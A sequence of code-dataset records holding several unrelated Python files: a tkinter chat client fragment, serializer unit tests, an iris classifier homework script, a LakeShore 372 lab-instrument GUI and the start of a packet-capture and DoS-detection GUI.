tk.E)\n self.mainFrame.myName = \"MainFrame\"\n self.root.rowconfigure(0, weight=1)\n self.root.columnconfigure(0, weight=1)\n \n self.frame00 = tk.Text(self.mainFrame, bg=\"white\")\n self.frame00.grid(column=0, row=0, sticky=tk.N + tk.S + tk.W + tk.E)\n self.frame00.myName = \"Frame00\"\n self.frame00.config(state=\"disabled\")\n\n self.frame01 = tk.Listbox(self.mainFrame, bg=\"white\")\n self.frame01.grid(column=1, row=0, rowspan=2, sticky=tk.N + tk.S + tk.W + tk.E)\n self.frame01.myName = \"Frame01\"\n\n self.frame01.insert('end', \"ALL\")\n self.frame01.selection_set(0)\n\n\n self.frame10 = tk.Text(self.mainFrame, bg=\"white\")\n self.frame10.grid(column=0, row=1, sticky=tk.N + tk.S + tk.W + tk.E)\n self.frame10.myName = \"Frame10\"\n \n self.frame20 = tk.Frame(self.mainFrame, bg=\"white\")\n self.frame20.grid(column=0, row=2, sticky=tk.N + tk.S + tk.W + tk.E)\n self.frame20.myName = \"Frame20\"\n \n self.frame21 = tk.Frame(self.mainFrame, bg=\"white\")\n self.frame21.grid(column=1, row=2, sticky=tk.N + tk.S + tk.W + tk.E)\n self.frame21.myName = \"Frame21\"\n \n \n self.mainFrame.rowconfigure(0,weight=4)\n self.mainFrame.rowconfigure(1,weight=2)\n self.mainFrame.rowconfigure(2,weight=1)\n \n self.mainFrame.columnconfigure(0,weight=3)\n self.mainFrame.columnconfigure(1,weight=1)\n \n self.ok_button = tk.Button(self.frame20, text=\"Send Message\", command=self.sendMessageHandler)\n self.ok_button.pack(fill='both')\n self.ok_button.myName=\"OK Button\"\n self.ok_button.focus_force()\n\n self.no_button = tk.Button(self.frame21, text=\"Exit\", command=self.buttonExitClick)\n self.no_button.myName = \"No Button\"\n self.no_button.pack(fill='both')\n \n \n #bindowanie na poziomie aplikacji\n self.root.bind_all(\"\", self.sendMessageHandlerRet)\n self.receiveMessage()\n \n def addUser(self, username):\n self.frame01.insert('end', username)\n return\n \n def removeUser(self, username):\n userlist = self.frame01.get(0, 'end')\n it = 0\n for x in userlist:\n print(x)\n if(x == username):\n self.frame01.delete(it)\n return\n it+=1\n return\n \n def addNewMessageInfo(self, text):\n self.frame00.config(state=\"normal\")\n self.frame00.insert('end', text)\n self.frame00.config(state=\"disabled\")\n return\n \n def sendMessageHandlerRet(self, args):\n self.sendMessageHandler()\n return\n \n def sendMessageHandler(self):\n if debug:\n print(\"In messagehangler\\n\")\n \n cur = self.frame01.curselection()\n if (len(cur) is 0):\n self.addNewMessageInfo(\"Musisz wybrać użytkownika!\\n\")\n return\n \n to = self.frame01.get(cur)\n msg = self.frame10.get(\"1.0\", \"end-1c\")\n \n if(msg == \"\" or msg == \"\\n\"):\n self.addNewMessageInfo(\"Musisz podać wiadomość!\\n\")\n return\n \n MESSAGE = SEPARATOR + SEND_MSG + SEPARATOR + username + SEPARATOR + to + SEPARATOR + str(len(msg)) + SEPARATOR + msg + \"\\n\" + SEPARATOR\n \n if debug:\n print(\"Wiadomość: {0}\".format(MESSAGE))\n \n self.frame10.delete(\"1.0\", \"end\")\n \n s.send(bytes(MESSAGE, 'UTF-8'))\n return\n\n def receiveMessage(self):\n if debug:\n print(\"In receive\\n\")\n if (self.listener.messages.empty() is not True):\n echodane = self.listener.messages.get()\n echodane = echodane.split(SEPARATOR)\n \n if debug:\n print(echodane)\n \n if (echodane[1] == PING):\n pass \n elif (echodane[1] == SEND_MSG):\n self.addNewMessageInfo(\"{0} => {1}: {2}\".format(echodane[2], echodane[3], echodane[5]))\n elif (echodane[1] == SHOW_USER):\n self.addUser(echodane[2])\n elif (echodane[1] == HIDE_USER):\n self.removeUser(echodane[2])\n else:\n print(\"A TEJ KOMENDY NIE ZNAM!!!\")\n \n self.root.after(100, self.receiveMessage)\n \n def buttonExitClick(self):\n self.listener.running = False\n print(\"THEEND\")\n self.root.destroy()\n\nroot = tk.Tk()\nmyapp = MyApp(root, listener)\nroot.mainloop()\nexit()\n","repo_name":"stobis/pychat","sub_path":"echo_client.py","file_name":"echo_client.py","file_ext":"py","file_size_in_byte":7111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38735005515","text":"import sys\nfrom collections.abc import Mapping, Sequence\nfrom dataclasses import dataclass, field\nfrom typing import Annotated, List, Optional\n\nimport pytest\nfrom serpyco_rs import SchemaValidationError, Serializer\nfrom serpyco_rs.metadata import CamelCase, NoFormat\n\n\ndef test_dump_simple_fields_types():\n @dataclass\n class A:\n int_f: int\n float_f: float\n bool_f: bool\n str_f: str\n\n serializer = Serializer(A)\n\n obj = A(\n int_f=123,\n float_f=3.14,\n bool_f=True,\n str_f='Test',\n )\n expected = {'bool_f': True, 'float_f': 3.14, 'int_f': 123, 'str_f': 'Test'}\n assert serializer.dump(obj) == expected\n assert serializer.load(expected) == obj\n\n\ndef test_simple_nested_dataclasses():\n @dataclass\n class C:\n value: int\n\n @dataclass\n class B:\n value: str\n nested: C\n\n @dataclass\n class A:\n int_f: int\n nested: B\n\n serializer = Serializer(A)\n\n obj = A(\n int_f=123,\n nested=B(value='test', nested=C(value=1)),\n )\n\n expected = {'int_f': 123, 'nested': {'nested': {'value': 1}, 'value': 'test'}}\n\n assert serializer.dump(obj) == expected\n assert serializer.load(expected) == obj\n\n\ndef test_iterables():\n @dataclass\n class A:\n iterable_builtins_list: list[int]\n iterable_typing_list: list[int]\n iterable_builtins_sequence: Sequence[int]\n\n serializer = Serializer(A)\n\n obj = A(\n iterable_builtins_list=[1, 2, 3],\n iterable_typing_list=[1, 2, 3],\n iterable_builtins_sequence=[1, 2, 3],\n )\n\n expected = {\n 'iterable_builtins_list': [1, 2, 3],\n 'iterable_typing_list': [1, 2, 3],\n 'iterable_builtins_sequence': [1, 2, 3],\n }\n\n assert serializer.dump(obj) == expected\n assert serializer.load(expected) == obj\n\n\ndef test_mappings():\n @dataclass\n class B:\n value: str\n\n @dataclass\n class A:\n dict_field: dict[str, int]\n mapping_field: Mapping[str, B]\n\n serializer = Serializer(A)\n\n obj = A(dict_field={'foo': 1}, mapping_field={'bar': B(value='123')})\n\n expected = {\n 'dict_field': {'foo': 1},\n 'mapping_field': {'bar': {'value': '123'}},\n }\n\n assert serializer.load(expected) == obj\n assert serializer.dump(obj) == expected\n\n\ndef test_required_and_nullable():\n @dataclass\n class ReqNotNull:\n foo: int\n\n @dataclass\n class ReqNullable:\n foo: Optional[int]\n\n @dataclass\n class OptionalNotNull:\n foo: int = 1\n\n @dataclass\n class OptionalNullable:\n foo: Optional[int] = 1\n\n req_not_null = Serializer(ReqNotNull)\n req_nullable = Serializer(ReqNullable)\n optional_not_null = Serializer(OptionalNotNull)\n optional_nullable = Serializer(OptionalNullable)\n\n assert req_not_null.load({'foo': 2}) == ReqNotNull(foo=2)\n with pytest.raises(SchemaValidationError):\n req_not_null.load({'foo': None})\n with pytest.raises(SchemaValidationError):\n req_not_null.load({})\n\n assert req_nullable.load({'foo': 2}) == ReqNullable(foo=2)\n assert req_nullable.load({'foo': None}) == ReqNullable(foo=None)\n with pytest.raises(SchemaValidationError):\n req_nullable.load({})\n\n assert optional_not_null.load({'foo': 2}) == OptionalNotNull(foo=2)\n with pytest.raises(SchemaValidationError):\n assert optional_not_null.load({'foo': None})\n assert optional_not_null.load({}) == OptionalNotNull(foo=1)\n\n assert optional_nullable.load({'foo': 2}) == OptionalNullable(foo=2)\n assert optional_nullable.load({'foo': None}) == OptionalNullable(foo=None)\n assert optional_nullable.load({}) == OptionalNullable(foo=1)\n\n\ndef test_nullable_without_default():\n @dataclass\n class Entity:\n foo: Optional[int]\n\n entity_serializer = Serializer(Entity)\n\n assert entity_serializer.load({'foo': 1}) == Entity(foo=1)\n with pytest.raises(SchemaValidationError):\n entity_serializer.load({})\n\n\ndef test_nullable_without_default__force_none_as_default_for_optional():\n @dataclass\n class Entity:\n foo: Optional[int]\n\n entity_serializer = Serializer(Entity, force_default_for_optional=True)\n\n assert entity_serializer.load({'foo': 1}) == Entity(foo=1)\n assert entity_serializer.load({}) == Entity(foo=None)\n\n\ndef test_required_and_nullable_list():\n @dataclass\n class Entity:\n foo: Optional[list[Optional[int]]] = None\n\n entity_serializer = Serializer(Entity)\n\n assert entity_serializer.load({}) == Entity(foo=None)\n assert entity_serializer.load({'foo': None}) == Entity(foo=None)\n assert entity_serializer.load({'foo': []}) == Entity(foo=[])\n assert entity_serializer.load({'foo': [1]}) == Entity(foo=[1])\n assert entity_serializer.load({'foo': [1, None]}) == Entity(foo=[1, None])\n\n\ndef test_defaults():\n @dataclass\n class Entity:\n foo: str = '123'\n bar: list[int] = field(default_factory=lambda: list([1, 2, 3]))\n\n entity_serializer = Serializer(Entity)\n\n assert entity_serializer.load({'bar': [1]}) == Entity(foo='123', bar=[1])\n assert entity_serializer.load({}) == Entity(foo='123', bar=[1, 2, 3])\n\n\nif sys.version_info >= (3, 10):\n\n def test_union_optional__dump_load__ok():\n # arrange\n @dataclass\n class UnionClass:\n name: str | None\n count: None | int\n\n # act\n serializer = Serializer(UnionClass)\n\n # assert\n foo = UnionClass(name=None, count=None)\n dict_foo = {'name': None, 'count': None}\n assert serializer.dump(foo) == dict_foo\n assert foo == serializer.load(dict_foo)\n\n bar = UnionClass(name='try', count=5)\n dict_bar = {'name': 'try', 'count': 5}\n assert serializer.dump(bar) == dict_bar\n assert bar == serializer.load(dict_bar)\n\n\ndef test_serializer_with_camelcase():\n @dataclass\n class C:\n foo_field: int\n\n @dataclass\n class B:\n some_value: str\n another_value: Annotated[C, CamelCase]\n\n @dataclass\n class A:\n dict_field: dict[str, int]\n inner_value_one: B\n inner_value_two: Annotated[B, NoFormat]\n\n serializer = Serializer(A, camelcase_fields=True)\n\n obj = A(\n dict_field={'foo': 1},\n inner_value_one=B(some_value='123', another_value=C(11)),\n inner_value_two=B(some_value='1', another_value=C(22)),\n )\n\n expected = {\n 'dictField': {'foo': 1},\n 'innerValueOne': {'someValue': '123', 'anotherValue': {'fooField': 11}},\n 'innerValueTwo': {'some_value': '1', 'another_value': {'fooField': 22}},\n }\n\n assert serializer.load(expected) == obj\n assert serializer.dump(obj) == expected\n","repo_name":"ermakov-oleg/serpyco-rs","sub_path":"tests/test_simple.py","file_name":"test_simple.py","file_ext":"py","file_size_in_byte":6723,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"37"} +{"seq_id":"27354616200","text":"from sklearn import __version__ as sklearn_version\r\nfrom distutils.version import LooseVersion\r\nfrom sklearn import datasets\r\nimport numpy as np\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.linear_model import Perceptron\r\nfrom sklearn.metrics import accuracy_score\r\nfrom matplotlib.colors import ListedColormap\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.linear_model import SGDClassifier\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom pydotplus import graph_from_dot_data\r\nfrom sklearn.tree import export_graphviz\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn import metrics\r\n\r\nif LooseVersion(sklearn_version) < LooseVersion('0.18'):\r\n raise ValueError('Please use scikit-learn 0.18 or newer')\r\n\r\niris = datasets.load_iris()\r\nX = iris.data[:, [2, 3]]\r\ny = iris.target\r\n\r\nprint('Class labels:', np.unique(y))\r\n\r\n\r\n# Splitting data into 70% training and 30% test data:\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(\r\n X, y, test_size=0.3, random_state=1, stratify=y)\r\n\r\n\r\nprint('Labels counts in y:', np.bincount(y))\r\nprint('Labels counts in y_train:', np.bincount(y_train))\r\nprint('Labels counts in y_test:', np.bincount(y_test))\r\n\r\n\r\n# Standardizing the features:\r\n\r\nsc = StandardScaler()\r\nsc.fit(X_train)\r\nX_train_std = sc.transform(X_train)\r\nX_test_std = sc.transform(X_test)\r\n\r\ndef plot_decision_regions(X, y, classifier,\r\ntest_idx=None, resolution=0.02):\r\n markers = ('s', 'x', 'o', '^', 'v')\r\n colors = ('red', 'blue', 'lightgreen', 'gray', 'cyan')\r\n cmap = ListedColormap(colors[:len(np.unique(y))])\r\n # plot the decision surface\r\n x1_min, x1_max = X[:, 0].min() - 1, X[:, 0].max() + 1\r\n x2_min, x2_max = X[:, 1].min() - 1, X[:, 1].max() + 1\r\n xx1, xx2 = np.meshgrid(np.arange(x1_min, x1_max, resolution),\r\n np.arange(x2_min, x2_max, resolution))\r\n Z = classifier.predict(np.array([xx1.ravel(), xx2.ravel()]).T)\r\n Z = Z.reshape(xx1.shape)\r\n plt.contourf(xx1, xx2, Z, alpha=0.4, cmap=cmap)\r\n plt.xlim(xx1.min(), xx1.max())\r\n plt.ylim(xx2.min(), xx2.max())\r\n # plot all samples\r\n for idx, cl in enumerate(np.unique(y)):\r\n plt.scatter(x=X[y == cl, 0], y=X[y == cl, 1], alpha=0.8, c=cmap(idx), marker=markers[idx], label=cl)\r\n # highlight test samples\r\n if test_idx:\r\n X_test, y_test = X[test_idx, :], y[test_idx]\r\n plt.scatter(X_test[:, 0], X_test[:, 1], c='',\r\n alpha=1.0, linewidths=1, marker='o',\r\n s=55, label='test set')\r\n\r\nX_combined_std = np.vstack((X_train_std, X_test_std))\r\ny_combined = np.hstack((y_train, y_test))\r\n\r\n# # Decision tree learning\r\n\r\n# ## Building a decision tree\r\n\r\n\r\ntree = DecisionTreeClassifier(criterion='gini', \r\n max_depth=4, \r\n random_state=1)\r\ntree.fit(X_train, y_train)\r\n\r\nX_combined = np.vstack((X_train, X_test))\r\ny_combined = np.hstack((y_train, y_test))\r\nplot_decision_regions(X_combined, y_combined, classifier=tree, test_idx=range(105, 150))\r\n\r\nplt.xlabel('petal length [cm]')\r\nplt.ylabel('petal width [cm]')\r\nplt.legend(loc='upper left')\r\nplt.tight_layout()\r\n#plt.savefig('images/03_20.png', dpi=300)\r\nplt.show()\r\n\r\n\r\n# # K-nearest neighbors - a lazy learning algorithm\r\n\r\nknn = KNeighborsClassifier(n_neighbors=5, \r\n p=2, \r\n metric='minkowski')\r\nknn.fit(X_train_std, y_train)\r\n\r\nplot_decision_regions(X_combined_std, y_combined, \r\n classifier=knn, test_idx=range(105, 150))\r\n\r\nplt.xlabel('petal length [standardized]')\r\nplt.ylabel('petal width [standardized]')\r\nplt.legend(loc='upper left')\r\nplt.tight_layout()\r\n#plt.savefig('images/03_24.png', dpi=300)\r\nplt.show()\r\n\r\nk_range = range(1,26)\r\nscores = []\r\nfor k in k_range:\r\n knn = KNeighborsClassifier(n_neighbors=k)\r\n knn.fit(X_train, y_train)\r\n y_pred = knn.predict(X_test)\r\n scores.append(metrics.accuracy_score(y_test, y_pred))\r\n \r\nimport pandas\r\nTable = pandas.DataFrame(scores)\r\nprint(Table)\r\n\r\nprint(\"My name is Utkarsh Mishra\")\r\nprint(\"My NetID is: umishra3\")\r\nprint(\"I hereby certify that I have read the University policy on Academic Integrity and that I am not in violation.\")\r\n\r\n\r\n\r\n","repo_name":"utkmishra/IE598_F18_HW2","sub_path":"Program 2.py","file_name":"Program 2.py","file_ext":"py","file_size_in_byte":4403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38564303500","text":"import sys\nimport io\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\nfrom PyQt5 import uic\nimport serial\nimport io\nfrom time import sleep\nimport numpy as np\nfrom datetime import datetime\nfrom configparser import ConfigParser\nimport LakeShore372 as ls\n\nclass StressMeasure_UI(QMainWindow):\n def __init__(self,myLS):\n QMainWindow.__init__(self)\n self.ui = uic.loadUi(\"LakeShore372SimplifiedStressMeasureGui.ui\")\n self.LSHDev = myLS\n\n self.SetBindings()\n\n #def BUTTONCLICKEDFUNC(self):\n\n def SetBindings(self):\n #Bindings:\n #self.BUTTON.clicked.connect(self.BUTTONCLICKEDFUNC)\n\n #Settings Widgets\n self.ui.measurementpasses.setValue( self.LSHDev.scanner[\"scannerpasses\"])\n self.ui.thermalizationtime.setText( str(self.LSHDev.timeConstants[\"t_therm\"]))\n self.ui.switchingtime.setText( str(self.LSHDev.timeConstants[\"t_switch\"]))\n #Serial Related Widgets\n self.ui.serialportport.addItems([\"COM1\",\"COM2\",\"COM3\",\"COM4\",\"COM5\",\"COM6\",\"COM7\",\"COM8\",\"COM9\",\"COM10\"])\n if LSHDev.serialcfg[\"serialport\"] == \"COM1\":\n self.ui.serialportport.setCurrentIndex(1)\n elif LSHDev.serialcfg[\"serialport\"] == \"COM2\":\n self.ui.serialportport.setCurrentIndex(2)\n elif LSHDev.serialcfg[\"serialport\"] == \"COM3\":\n self.ui.serialportport.setCurrentIndex(3)\n elif LSHDev.serialcfg[\"serialport\"] == \"COM4\":\n self.ui.serialportport.setCurrentIndex(4)\n elif LSHDev.serialcfg[\"serialport\"] == \"COM5\":\n self.ui.serialportport.setCurrentIndex(5)\n elif LSHDev.serialcfg[\"serialport\"] == \"COM6\":\n self.ui.serialportport.setCurrentIndex(6)\n elif LSHDev.serialcfg[\"serialport\"] == \"COM7\":\n self.ui.serialportport.setCurrentIndex(7)\n elif LSHDev.serialcfg[\"serialport\"] == \"COM8\":\n self.ui.serialportport.setCurrentIndex(8)\n elif LSHDev.serialcfg[\"serialport\"] == \"COM9\":\n self.ui.serialportport.setCurrentIndex(9)\n elif LSHDev.serialcfg[\"serialport\"] == \"COM10\":\n self.ui.serialportport.setCurrentIndex(10)\n self.ui.serialportbaud.setText( str(self.LSHDev.serialcfg[\"baudrate\"]))\n\n\n #Heater Widgets\n self.ui.htrrange.addItems([\"OFF\",\"31.6 uA\",\"100 uA\",\"316 uA\",\"1.00 mA\",\"3.16 mA\",\"10.0 mA\",\"31.6 mA\",\"100 mA\"])\n self.ui.htrinit.setText( str(self.LSHDev.sampleheater[\"initpc\"]))\n self.ui.htrfinal.setText( str(self.LSHDev.sampleheater[\"finalpc\"]))\n self.ui.htrdelta.setText( str(self.LSHDev.sampleheater[\"deltapc\"]))\n self.ui.htrresistance.setText( str(self.LSHDev.sampleheater[\"resistance\"]))\n self.ui.htrmaxcurrent.setText( str(self.LSHDev.sampleheater[\"initpc\"]))\n self.ui.htrrange.setCurrentIndex(self.LSHDev.sampleheater[\"range\"])\n #MCThermo Widgets\n self.ui.mcthermochannel.setValue( self.LSHDev.mcthermo[\"channel\"])\n self.ui.mcthermodwell.setText( str(self.LSHDev.mcthermo[\"t_dwell\"]))\n self.ui.mcthermopause.setText( str(self.LSHDev.mcthermo[\"t_pause\"]))\n self.ui.mcthermosettle.setText( str(self.LSHDev.mcthermo[\"t_settle\"]))\n #S1 Widgets\n self.ui.sample1channel.setValue( self.LSHDev.sample1[\"channel\"])\n self.ui.sample1description.setText( str(self.LSHDev.sample1[\"description\"]).strip('\\\"'))\n self.ui.sample1dwell.setText( str(self.LSHDev.sample1[\"t_dwell\"]))\n self.ui.sample1pause.setText( str(self.LSHDev.sample1[\"t_pause\"]))\n self.ui.sample1settle.setText( str(self.LSHDev.sample1[\"t_settle\"]))\n #S2 Widgets\n self.ui.sample2channel.setValue( self.LSHDev.sample2[\"channel\"])\n self.ui.sample2description.setText( str(self.LSHDev.sample2[\"description\"]).strip('\\\"'))\n self.ui.sample2dwell.setText( str(self.LSHDev.sample2[\"t_dwell\"]))\n self.ui.sample2pause.setText( str(self.LSHDev.sample2[\"t_pause\"]))\n self.ui.sample2settle.setText( str(self.LSHDev.sample2[\"t_settle\"]))\n #S3 Widgets\n self.ui.sample3channel.setValue( self.LSHDev.sample3[\"channel\"])\n self.ui.sample3description.setText( str(self.LSHDev.sample3[\"description\"]).strip('\\\"'))\n self.ui.sample3dwell.setText( str(self.LSHDev.sample3[\"t_dwell\"]))\n self.ui.sample3pause.setText( str(self.LSHDev.sample3[\"t_pause\"]))\n self.ui.sample3settle.setText( str(self.LSHDev.sample3[\"t_settle\"]))\n #Task Widgets\n self.ui.startbutton.clicked.connect(self.StartMeas)\n self.ui.saveinibutton.clicked.connect(self.SaveToINI)\n self.ui.abortbutton.clicked.connect(self.EndMeas)\n self.ui.interpolatebutton.clicked.connect(self.InterpolateCSV)\n self.ui.plotbutton.clicked.connect(self.PlotCSV)\n self.ui.taskprogressbar.setValue(0)\n self.ui.totalprogressbar.setValue(0)\n self.ui.CurrentTask.setText(\"Waiting to Connect to LS372...\")\n def SaveToDictionaries(self):\n #Save Settings to Dictionaries:\n #Serial Related Widgets\n self.LSHDev.serialcfg[\"serialport\"] = self.ui.serialportport.currentText()\n self.LSHDev.serialcfg[\"baudrate\"] = self.ui.serialportbaud.text()\n #Settings Widgets\n self.LSHDev.scanner[\"scannerpasses\"] = self.ui.measurementpasses.value()\n self.LSHDev.timeConstants[\"t_therm\"] = self.ui.thermalizationtime.text()\n self.LSHDev.timeConstants[\"t_switch\"] = self.ui.switchingtime.text()\n #Heater:\n self.LSHDev.sampleheater[\"initpc\"] = self.ui.htrinit.text()\n self.LSHDev.sampleheater[\"finalpc\"] = self.ui.htrfinal.text()\n self.LSHDev.sampleheater[\"deltapc\"] = self.ui.htrdelta.text()\n self.LSHDev.sampleheater[\"resistance\"] = self.ui.htrresistance.text()\n self.LSHDev.sampleheater[\"initpc\"] = self.ui.htrmaxcurrent.text()\n self.LSHDev.sampleheater[\"range\"] = self.ui.htrrange.currentIndex()\n #MCThermo Widgets\n self.LSHDev.mcthermo[\"channel\"] = self.ui.mcthermochannel.value()\n self.LSHDev.mcthermo[\"t_dwell\"] = self.ui.mcthermodwell.text()\n self.LSHDev.mcthermo[\"t_pause\"] = self.ui.mcthermopause.text()\n self.LSHDev.mcthermo[\"t_settle\"] = self.ui.mcthermosettle.text()\n #S1 Widgets\n self.LSHDev.sample1[\"channel\"] = self.ui.sample1channel.value()\n self.LSHDev.sample1[\"description\"] = self.ui.sample1description.text()\n self.LSHDev.sample1[\"t_dwell\"] = self.ui.sample1dwell.text()\n self.LSHDev.sample1[\"t_pause\"] = self.ui.sample1pause.text()\n self.LSHDev.sample1[\"t_settle\"] = self.ui.sample1settle.text()\n #S2 Widgets\n self.LSHDev.sample2[\"channel\"] = self.ui.sample2channel.value()\n self.LSHDev.sample2[\"description\"] = self.ui.sample2description.text()\n self.LSHDev.sample2[\"t_dwell\"] = self.ui.sample2dwell.text()\n self.LSHDev.sample2[\"t_pause\"] = self.ui.sample2pause.text()\n self.LSHDev.sample2[\"t_settle\"] = self.ui.sample2settle.text()\n #S3 Widgets\n self.LSHDev.sample3[\"channel\"] = self.ui.sample3channel.value()\n self.LSHDev.sample3[\"description\"] = self.ui.sample3description.text()\n self.LSHDev.sample3[\"t_dwell\"] = self.ui.sample3dwell.text()\n self.LSHDev.sample3[\"t_pause\"] = self.ui.sample3pause.text()\n self.LSHDev.sample3[\"t_settle\"] = self.ui.sample3settle.text()\n def SaveToINI(self):\n #Save Settings to INI file:\n #self.LSHDev.parser.set(SECTION,VAR,VALUE)\n #Serial Related Widgets\n self.LSHDev.parser.set(\"connection\", \"serialport\", self.ui.serialportport.currentText())\n self.LSHDev.parser.set(\"connection\", \"serialport\", self.ui.serialportbaud.text())\n #Settings Widgets\n self.LSHDev.parser.set(\"scanner\", \"scannerpasses\", str(self.ui.measurementpasses.value()))\n self.LSHDev.parser.set(\"timeconstants\", \"t_therm\", str(self.ui.thermalizationtime.text()))\n self.LSHDev.parser.set(\"timeconstants\", \"t_switch\", str(self.ui.switchingtime.text()))\n #Heater:\n self.LSHDev.parser.set(\"sampleheater\", \"initpc\", str(self.ui.htrinit.text()))\n self.LSHDev.parser.set(\"sampleheater\", \"finalpc\", str(self.ui.htrfinal.text()))\n self.LSHDev.parser.set(\"sampleheater\", \"deltapc\", str(self.ui.htrdelta.text()))\n self.LSHDev.parser.set(\"sampleheater\", \"resistance\", str(self.ui.htrresistance.text()))\n self.LSHDev.parser.set(\"sampleheater\", \"maxcurrent\", str(self.ui.htrmaxcurrent.text()))\n self.LSHDev.parser.set(\"sampleheater\", \"range\", str(self.ui.htrrange.currentIndex()))\n #MCThermo Widgets\n self.LSHDev.parser.set(\"mcthermometer\", \"channel\", str(self.ui.mcthermochannel.value()))\n self.LSHDev.parser.set(\"mcthermometer\", \"t_dwell\", str(self.ui.mcthermodwell.text()))\n self.LSHDev.parser.set(\"mcthermometer\", \"t_pause\", str(self.ui.mcthermopause.text()))\n self.LSHDev.parser.set(\"mcthermometer\", \"t_settle\", str(self.ui.mcthermosettle.text()))\n #S1 Widgets\n self.LSHDev.parser.set(\"sample1\", \"channel\", str(self.ui.sample1channel.value()))\n self.LSHDev.parser.set(\"sample1\", \"description\", str(self.ui.sample1description.text()))\n self.LSHDev.parser.set(\"sample1\", \"t_dwell\", str(self.ui.sample1dwell.text()))\n self.LSHDev.parser.set(\"sample1\", \"t_pause\", str(self.ui.sample1pause.text()))\n self.LSHDev.parser.set(\"sample1\", \"t_settle\", str(self.ui.sample1settle.text()))\n #S2 Widgets\n self.LSHDev.parser.set(\"sample2\", \"channel\", str(self.ui.sample2channel.value()))\n self.LSHDev.parser.set(\"sample2\", \"description\", str(self.ui.sample2description.text()))\n self.LSHDev.parser.set(\"sample2\", \"t_dwell\", str(self.ui.sample2dwell.text()))\n self.LSHDev.parser.set(\"sample2\", \"t_pause\", str(self.ui.sample2pause.text()))\n self.LSHDev.parser.set(\"sample2\", \"t_settle\", str(self.ui.sample2settle.text()))\n #S3 Widgets\n self.LSHDev.parser.set(\"sample3\", \"channel\", str(self.ui.sample3channel.value()))\n self.LSHDev.parser.set(\"sample3\", \"description\", str(self.ui.sample3description.text()))\n self.LSHDev.parser.set(\"sample3\", \"t_dwell\", str(self.ui.sample3dwell.text()))\n self.LSHDev.parser.set(\"sample3\", \"t_pause\", str(self.ui.sample3pause.text()))\n self.LSHDev.parser.set(\"sample3\", \"t_settle\", str(self.ui.sample3settle.text()))\n\n with open(self.LSHDev.inifname,'wb') as configfile:\n self.LSHDev.parser.write(self.LSHDev.inifname)\n\n #Serial Connection Event Handlers\n def serialConnect(self):#Evt Handler for serial connect button\n self.LSHDev.ser.port = self.ui.serialportport.currentText()\n self.LSHDev.ser.baudrate = self.ui.serialportbaud.text()\n self.LSHDev.ser.open()\n\n def serialDisconnect(self):\n self.LSHDev.close()\n def StartMeas(self):\n self.serialConnect() #Connect to device\n self.SaveToDictionaries() #Sets parameters shown in Quick Settings to be used by the routine.\n self.MeasureLoop() #Then run measurement routine\n self.serialDisconnect() #then disconnect from serial port.\n def MeasureLoop(self):\n return 0\n def EndMeas(self):\n return 0\n\n def InterpolateCSV(self):\n return 0\n\n def PlotCSV(self):\n return 0\n\n\n\n\n\n\n\nLSHDev = ls.LakeShore372Device() #Create instance of LakeShore372Device\nLSHDev.getConfig('config.ini') #Load configuration/ini file\n\n\nLSHDataFile = open(\"testdata.csv\",'w') #Open the file\nLSHData = ls.LakeShore372Data(LSHDataFile,LSHDev.sample1[\"description\"],LSHDev.sample2[\"description\"],LSHDev.sample3[\"description\"]) #Pass file to data handler class\nprint(\"o Datafile Created.\")\n\n#GUI Initialization\n\n\napp = QApplication(sys.argv)\nmyWindow = StressMeasure_UI(LSHDev)\nmyWindow.ui.show()\napp.exec_()\n","repo_name":"Sochnikov-Lab/LakeShore372-Tools","sub_path":"SimplifiedStressMeasure_GUI.py","file_name":"SimplifiedStressMeasure_GUI.py","file_ext":"py","file_size_in_byte":11820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20698205977","text":"from tkinter import *\nfrom Captura import *\nfrom threading import *\n\n# Initializare si cleanup\nlista_pachete = []\ndictionar_final = {}\nc = Captura()\n\n# Generare thread pentru rularea asincrona a metodelor in cazul rularii manuale\ndef threading_manual():\n t1 = Thread(target=c.capture, args=(lista_pachete, dictionar_final, entry_nr_pachete.get(), entry_interfata.get(), entry_filtru.get()))\n t1.start()\n\n# Generare thread pentru rularea asincrona a metodelor in cazul rularii automate\ndef threading_automat():\n t2 = Thread(target=c.rulare_automata, args=(lista_pachete, dictionar_final, entry_nr_pachete.get(), entry_path.get(), entry_IP_server.get(), entry_user_ftp.get(), entry_parola_ftp.get(), entry_interfata.get(), entry_filtru.get()))\n t2.start()\n\n# Generare interfata grafica cu elemente de tip: label, entry, button\nroot = Tk()\nroot.title(\"Proiect capturare de pachete și detecție de DoS\")\nroot.geometry(\"450x510\")\n\nlabel_interfata = Label(text='Interfață',\n font=(\"Calibri Bold\",12),\n bg=\"#F0F0F0\",\n fg=\"black\",\n width=14,\n height=1\n )\nlabel_interfata.grid(row=0, column=0)\n\nentry_interfata = Entry(bg='white', fg='black')\nentry_interfata.grid(row=0, column=1)\n\nlabel_filtru = Label(text='Filtru',\n font=(\"Calibri Bold\", 12),\n bg=\"#F0F0F0\",\n fg=\"black\",\n width=14,\n height=1\n )\nlabel_filtru.grid(row=1, column=0)\n\nentry_filtru = Entry(bg='white',fg='black')\nentry_filtru.grid(row=1, column=1)\n\nlabel_nr_pachete = Label(text='Număr Pachete',\n font=(\"Calibri Bold\", 12),\n bg=\"#F0F0F0\",\n fg=\"black\",\n width=14,\n height=1\n )\n\nlabel_nr_pachete.grid(row=2, column=0)\n\nentry_nr_pachete = Entry(bg='white',fg='black')\nentry_nr_pachete.grid(row=2, column=1)\n\n\nbuton_captura = Button(root,\n command = threading_manual,\n text='Start captură',\n font=(\"Arial Bold\",14),\n bg=\"#33C9FF\",\n fg=\"black\",\n width=17,\n height=2\n )\nbuton_captura.grid(row=3,column=1)\n\nlabel_path = Label(text='Cale Director',\n font=(\"Calibri Bold\", 12),\n 